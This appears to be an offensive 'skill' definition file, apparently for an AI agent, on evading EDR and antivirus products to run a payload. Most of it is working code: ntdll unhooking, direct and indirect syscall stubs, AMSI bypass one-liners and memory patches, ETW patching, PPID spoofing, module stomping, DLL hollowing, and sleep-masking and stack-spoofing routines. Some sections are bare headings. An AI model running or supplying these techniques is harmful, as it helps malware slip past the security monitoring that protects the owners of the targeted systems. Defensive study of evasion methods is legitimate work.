| name | edr-evasion |
| description | Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion |
| metadata | {"type":"offensive","phase":"evasion","tools":"syscall-stubs, ntdll-unhooking, amsi-patch, etw-patch, process-hollowing"} |
| kill_chain | {"phase":["delivery","install"],"step":[3,5],"attck_tactics":["TA0005"]} |
| depends_on | ["exploit-development","shellcode-dev"] |
| feeds_into | ["red-team-ops","initial-access"] |
| inputs | ["edr_product","payload"] |
| outputs | ["evasive_payload","bypass_technique"] |
EDR Evasion
When to Activate
- Planning EDR bypass during red team engagements
- Researching AV/EDR evasion techniques
- Developing implants that must survive endpoint detection
- Testing detection capabilities of security products
Fundamentals
AV vs EDR
Antivirus (preventive):
- Static analysis: matching known signatures in files
- Dynamic analysis: limited behavioral monitoring/sandboxing
- Effective against known threats, weaker against advanced attacks
EDR (proactive & investigative):
- Continuous endpoint monitoring
- Behavioral analysis at kernel level
- Anomaly detection and post-compromise visibility
- Prioritizes incident response and investigation
Windows Execution Flow
Application → DLL (kernel32/ntdll) → Syscall → Kernel (ntoskrnl)
↑
EDR hooks here
(userland hooks in ntdll)
Hook Unhooking
Userland Unhooking (ntdll.dll)
EDRs hook ntdll functions by replacing the first bytes with a JMP to their inspection code.
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID freshNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
HMODULE loadedNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)loadedNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)loadedNtdll + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER textSection = IMAGE_FIRST_SECTION(ntHeaders);
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
(LPVOID)((BYTE*)freshNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize);
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize, oldProtect, &oldProtect);
HANDLE hSection;
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
OBJECT_ATTRIBUTES oa = { sizeof(oa), NULL, &name, 0, NULL, NULL };
NtOpenSection(&hSection, SECTION_MAP_READ, &oa);
PVOID freshNtdll = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &freshNtdll, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READONLY);
Kernel-Level Unhooking Detection
Some EDRs use kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) — these cannot be bypassed from userland alone. Requires:
- BYOVD (Bring Your Own Vulnerable Driver) to unload/disable kernel callbacks
- Direct kernel object manipulation (DKOM)
Direct & Indirect Syscalls
Direct Syscalls
Skip ntdll entirely — call the syscall instruction directly:
; NtAllocateVirtualMemory syscall (Windows 10 21H2)
mov r10, rcx
mov eax, 0x18 ; syscall number (varies by Windows version!)
syscall
ret
Tools: SysWhispers3, HellsGate, HalosGate, TartarusGate
Indirect Syscalls
JMP to the syscall; ret instruction inside ntdll (avoids "syscall from non-ntdll" detection):
; Find syscall;ret gadget in ntdll
mov r10, rcx
mov eax, SSN ; System Service Number
jmp [ntdll_syscall_ret_addr] ; JMP to syscall;ret in ntdll
Why indirect: Some EDRs check the return address of syscalls — if it's not within ntdll's address range, it's flagged.
SSN Resolution
AMSI Bypass
# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Alternative: patch in memory
$a=[Ref].Assembly.GetType('System.Management.Automation.A]msiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
[IntPtr]$ptr=$b.GetValue($null)
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
HMODULE amsi = LoadLibraryA("amsi.dll");
LPVOID addr = GetProcAddress(amsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(addr, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(addr, "\x31\xC0\x05\x4E\xFE\xFF\xFF\xC3", 8);
VirtualProtect(addr, 6, oldProtect, &oldProtect);
ETW Patching
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
LPVOID etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3;
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
PPID Spoofing
SIZE_T size = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
LPPROC_THREAD_ATTRIBUTE_LIST attrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(attrList, 1, 0, &size);
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid);
UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
STARTUPINFOEXA si = { sizeof(si) };
si.lpAttributeList = attrList;
PROCESS_INFORMATION pi;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL, NULL, &si.StartupInfo, &pi);
Process Injection Techniques
| Technique | Stealth | Notes |
|---|
| CreateRemoteThread | Low | Heavily monitored |
| NtQueueApcThread (Early Bird) | Medium | APC before thread starts |
| NtSetContextThread | Medium | Hijack suspended thread |
| Module Stomping | High | Overwrite legitimate DLL .text |
| Phantom DLL Hollowing | High | Map section, overwrite |
| ThreadlessInject | Very High | No new threads created |
| Process Hollowing | Medium | Unmap + remap |
| Transacted Hollowing | High | NTFS transactions |
ThreadlessInject Pattern
1. Find target process with suitable DLL loaded
2. Locate exported function that's rarely called
3. Overwrite function prologue with: push shellcode_addr; ret
4. Wait for natural execution of that function
5. No CreateRemoteThread, no APC — completely threadless
Memory Encryption (Sleep Masking)
void SleepEncrypt(DWORD sleepTime) {
BYTE key[16]; GenerateRandomKey(key);
EncryptMemory(beaconBase, beaconSize, key);
VirtualProtect(beaconBase, beaconSize, PAGE_READWRITE, &old);
SleepEx(sleepTime, FALSE);
VirtualProtect(beaconBase, beaconSize, PAGE_EXECUTE_READ, &old);
DecryptMemory(beaconBase, beaconSize, key);
}
Behavioral Evasion
Sandbox Detection
Execution Guardrails (Keying)
char computerName[256];
GetComputerNameA(computerName, &size);
BYTE key[32];
SHA256(computerName, strlen(computerName), key);
Advanced: Sleep Obfuscation Techniques
Ekko (Timer-Based)
HANDLE hTimerQueue = NULL;
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD);
Zilean (APC-Based)
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect,
beaconBase, beaconSize, PAGE_READWRITE);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
&img, &key);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)WaitForSingleObject,
hEvent, sleepTime, 0);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
&img, &key);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect,
beaconBase, beaconSize, PAGE_EXECUTE_READ);
NtTestAlert();
DeathSleep (Thread Pool)
TP_CALLBACK_ENVIRON callbackEnv;
TpInitializeCallbackEnviron(&callbackEnv);
CreateThreadpoolWork(EncryptCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(SleepCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(DecryptCallback, &ctx, &callbackEnv);
SubmitThreadpoolWork(encryptWork);
WaitForThreadpoolWorkCallbacks(decryptWork, FALSE);
Gargoyle (ROP-Based Non-Executable Sleep)
Advanced: Stack Spoofing
SilentMoonwalk (Full Stack Spoofing)
void SpoofStack(PVOID targetFunc, PVOID fakeRetAddr) {
PVOID realRet = _ReturnAddress();
*(PVOID*)(_AddressOfReturnAddress()) = fakeRetAddr;
targetFunc();
*(PVOID*)(_AddressOfReturnAddress()) = realRet;
}
CallStackMasker
typedef struct _STACK_FRAME {
PVOID ReturnAddress;
PVOID FramePointer;
PVOID ModuleBase;
} STACK_FRAME;
Advanced: Modern EDR Internals
ETW Threat Intelligence Provider
Kernel Callbacks
Minifilter Evasion
Advanced: Hardware Breakpoint Hooking
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread, &ctx);
ctx.Dr0 = (DWORD64)targetFunction;
ctx.Dr7 = 0x1;
SetThreadContext(hThread, &ctx);
AddVectoredExceptionHandler(1, HookHandler);
LONG CALLBACK HookHandler(PEXCEPTION_POINTERS pExceptionInfo) {
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
if (pExceptionInfo->ExceptionRecord->ExceptionAddress == targetFunction) {
pExceptionInfo->ContextRecord->Rip = (DWORD64)hookFunction;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
Advanced: Module Stomping & Phantom DLL Hollowing
Module Stomping
HMODULE hModule = LoadLibraryA("xpsservices.dll");
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dos->e_lfanew);
PIMAGE_SECTION_HEADER text = IMAGE_FIRST_SECTION(nt);
VirtualProtect((LPVOID)((BYTE*)hModule + text->VirtualAddress),
text->Misc.VirtualSize, PAGE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)hModule + text->VirtualAddress), shellcode, scSize);
VirtualProtect((LPVOID)((BYTE*)hModule + text->VirtualAddress),
text->Misc.VirtualSize, PAGE_EXECUTE_READ, &oldProtect);
Phantom DLL Hollowing
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\amsi.dll", ...);
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
PAGE_READONLY, SEC_IMAGE, hFile);
PVOID localView = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &localView,
0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
memcpy((BYTE*)localView + textRVA, shellcode, scSize);
PVOID execView = NULL;
NtMapViewOfSection(hSection, GetCurrentProcess(), &execView,
0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
Advanced: Process Injection Techniques (2024-2026)
Pool Party (Thread Pool Injection)
Mockingjay (RWX Section Injection)
Dirty Vanity (Process Forking)
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
GetCurrentProcess(),
PROCESS_CREATE_FLAGS_FORK, NULL, NULL, NULL, 0);
Windows 11 24H2 Considerations
- AMSI heap scanning is active — allocate with PAGE_NOACCESS, decrypt in place, then switch to PAGE_EXECUTE_READ
- Smart App Control may block outbound connections from unsigned processes
- Kernel-mode ETW (Threat Intelligence) cannot be patched from userland
- Enhanced stack tracing in newer EDRs checks full call stack, not just return address
- Kernel Data Protection (KDP) prevents modification of kernel data structures via BYOVD on VBS-enabled systems
- User-mode CET shadow stacks detect ROP chains in userland
- Process mitigation policies can block DLL injection, dynamic code, and child processes